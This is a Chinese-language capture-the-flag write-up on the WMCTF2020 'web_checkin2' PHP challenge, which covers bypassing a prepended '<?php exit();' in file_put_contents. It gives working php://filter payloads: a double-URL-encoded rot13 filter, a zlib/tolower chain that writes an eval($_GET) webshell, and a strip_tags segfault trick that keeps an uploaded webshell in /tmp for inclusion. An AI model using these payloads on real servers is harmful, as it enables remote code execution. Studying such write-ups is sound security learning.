题目源码

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    echo $content;
    file_put_contents($content,'<?php exit();'.$content);
}

很多框架喜欢用file_put_contents($filename,'<?php exit();'.$content);来生成php文件,在代码审计中也经常会遇到

题目是考察一种参数可控的情况下的绕过方式。简单来说就是死亡exit的绕过,很明显出发点就在于函数的特性,其他过滤器的使用,或者配置环境

二次编码绕过

查看伪协议处理的源码

static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{
    char *p, *token = NULL;
    php_stream_filter *temp_filter;

    p = php_strtok_r(filterlist, "|", &token);
    while (p) {
        php_url_decode(p, strlen(p)); 👈 对过滤器进行了一次urldecode
        if (read_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->readfilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        if (write_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->writefilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        p = php_strtok_r(NULL, "|", &token);
    }
}

file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器进行urldecode,所以可以利用二次编码绕过,不过最常见的二次编码所使用的%25被服务端ban了,所以通过👇脚本使用其它二次编码进行绕过

<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
        $aaa = '%'.$ascii1.'%'.$ascii2;
        if(urldecode(urldecode($aaa)) == $char){
            echo $char.': '.$aaa. PHP_EOL;
        }
    }
}
?>
# r: %7%32

之后结合之前学习文章中学习的payload

php://filter/write=string.%7%32ot13|<?cuc cucvasb();?>|/resource=geekcat.php

过滤器构造绕过

🚫禁止使用的过滤器

iconv|UCS|UTF|rot|quoted|base64

php:filter支持使用多个过滤器,参考官方文档 可用过滤器列表,发现还留下了部分过滤器,所以可以考虑从这几个过滤器入手,最好用的应该就是zlibzlib.deflatezlib.inflate,组合使用压缩后再解压后内容肯定不变,不过可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit

php://filter/zlib.deflate|string.tolower|zlib.inflate|php%0deval($_GET[1]);/resource=Cyc1e.php

此方法个人并没有复现成功,存在以下疑问

  1. php文件名如果为test,geekcat或者其他某些字符串时无法写入
  2. 构造的新文件依然无法getshell

爆破临时文件

题目的环境特设置为7.0.33版本,有之前学习文章可知利用string.strip_tags会发生segment fault,这时候上传一个webshell会以临时文件的形式保存在/tmp中,利用require_once包含即可

http://127.0.0.1:8080/WMCTF2020/web_checkin2/?content=/tmp/phpvDH7XM

❗️此时包含webshell之后进行蚁剑连接,不要直接用浏览器访问这段url,👇因为访问一次之后内容又会被exit死亡退出覆盖

截屏2020-08-13 上午11.04.52

reference

WMctf2020 Checkin出题想法&题解

郑重感谢